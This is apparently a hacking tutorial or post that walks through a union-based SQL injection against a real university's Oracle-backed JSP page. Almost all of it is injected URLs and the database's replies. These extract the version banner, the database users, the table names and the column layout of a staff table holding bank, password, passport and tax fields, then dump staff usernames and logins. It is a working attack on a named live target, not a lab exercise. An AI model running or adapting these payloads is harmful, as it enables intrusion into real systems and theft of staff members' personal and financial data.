Sql injection Oracle ( jsp )

• sql injection Oracle (jsp)

  
  

  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436' and 1=1 order by 3--
  
  
  SQL Error - ORA-01785: ORDER BY item must be the number of a SELECT-list expression
  
  
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436' and 1=2 union all select 1,2--
  
  
  SQL Error - ORA-00923: FROM keyword not found where expected
  
  
  
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436'and 1=2 union all select 1,2 from dual--
  
  
  
  SQL Error - ORA-01790: expression must have same datatype as corresponding expression
  
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436' and 1=2 union all select null,null from dual--
  
  
  
  
   null
  
  
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436' and 1=2 union all select null,banner FROM v$version--
  
  
  Oracle Database 10g Enterprise Edition Release 10.2.0.5.0 - 64bi PL/SQL Release 10.2.0.5.0 - Production CORE 10.2.0.5.0 Production TNS for Linux: Version 10.2.0.5.0 - Production NLSRTL Version 10.2.0.5.0 - Production
  
  
  
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436' and 1=2 union all select null,user FROM dual--
  
  
  ICEM_WEB
  
  
  
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436' and 1=2 union all select null,global_name FROM global_name--
  
  
  
  ICEMS.REGRESS.RDBMS.DEV.US.ORACLE.COM
  
  
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436
  ' and 1=2 union all select null,'database-->' || global_name FROM global_name--
  
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436' and 1=2 union all select null,'ICEM_WEB' || global_name FROM global_name--
  
  
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436' and 1=2 union all select null,username from all_users--
  
  
  SYS2 SYSTEM3 OUTLN4 DIP5 DMSYS6 TSMSYS7 DBSNMP8 WMSYS9 EXFSYS10 CTXSYS11 XDB12 ANONYMOUS13 OLAPSYS14 ORDSYS15 ORDPLUGINS16 SI_INFORMTN_SCHEMA
  
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436' and 1=2 union all select null,owner||'-->'||table_name from all_tables--
  
  or
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436' and 1=2 union all select null,table_name from all_tables--
  
  
  STAFF_PROFILE
  LOG
  
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436' and 1=2 union all select null,column_name from all_tab_columns where table_name='STAFF_PROFILE'--
  
  
  
  STAFF_UNITELE_JOIN_DATE2 STAFF_TELEKOM_JOIN_DATE3 STAFF_CONFIRM_DATE4 STAFF_PENSION_DATE5 STAFF_RESIGN_DATE6 STAFF_JOB_ID7 STAFF_JOB_STATUS8 STAFF_FACULTY_ID9 STAFF_EMAIL10 STAFF_OFF_TEL11 STAFF_OFF_EXT12 STAFF_OFF_FAX13 STAFF_HAND_TEL14 STAFF_PHOTO15 STAFF_CITY_CUR16 STAFF_CITY_PMT17 STAFF_BANK_ACC18 STAFF_BANK19 STAFF_BANK_ACC_TYPE20 STAFF_INCOMETAX_BRANCH21 STAFF_SPOUSE_INCOMETAX22 STAFF_SPOUSE_INCOMETAX_BRANCH23 STAFF_EXEC24 STAFF_GROUP_ID25 STAFF_ASB26 STAFF_LUTH27 STAFF_PASWD28 STAFF_PASSPORT_START29 STAFF_RESEARCH30 STAFF_CON_PERIOD31 STAFF_TAKAFUL32 STAFF_BPA33 STAFF_JIMAT34 STAFF_REP_DUTY35 STAFF_ANNUAL36 STAFF_EXPIRY37 STAFF_TITLE38 STAFF_PAS_GAJI39 STAFF_MARRIED_DATE40 STAFF_SOCIAL41 STAFF_LOGIN42 STAFF_IP43 STAFF_TENDER44 STAFF_UPD_BRANCH45 STAFF_DATETIME46 STAFF_COMP_LOAN47 STAFF_BLOOD48 STAFF_FLEXY_TIME49 STAFF_AIR_TICKET50 STAFF_STUDY_LOAN51 TELEKOM_SCHOLAR52 STAFF_ID53 BRANCH_ID54 STAFF_USERNAME55 STAFF_NAME56 STAFF_STATUS57 STAFF_IC_CUR58 STAFF_IC_OLD59 STAFF_MED_NUM60 STAFF_DOB61 STAFF_BIRTHPLACE62 STAFF_BIRTHSTATE63 STAFF_SEX64 STAFF_MARITAL65 STAFF_NO_CHILD66 STAFF_RACE67 STAFF_RELIGION68 STAFF_CITIZEN69 STAFF_ADDR_CUR70 STAFF_STATE_CUR71 STAFF_COUNTRY_CUR72 STAFF_PCODE_CUR73 STAFF_ADDR_PMT74 STAFF_STATE_PMT75 STAFF_COUNTRY_PMT76 STAFF_PCODE_PMT77 STAFF_TEL_HOME78 STAFF_INCOMETAX79 STAFF_EPF80 STAFF_SOCSO81 STAFF_DRV_LIC82 STAFF_DRV_EXPIRY83 STAFF_PASSPORT84 STAFF_PASSPORT_EXPIRY85 STAFF_WORK_PERMIT_EXPIRY86 STAFF_VISA_EXPIRY
  
  
  
  
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436' and 1=2 union all select null,STAFF_USERNAME || ' : ' || STAFF_NAME || ' : ' || STAFF_LOGIN from STAFF_PROFILE--
  
  or
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436'+and+1=2+union+all+select+null,STAFF_USERNAME+from+STAFF_PROFILE--
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436'+and+1=2+union+all+select+null,STAFF_NAME+from+STAFF_PROFILE--
  
  https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436'+and+1=2+union+all+select+null,STAFF_LOGIN+from+STAFF_PROFILE--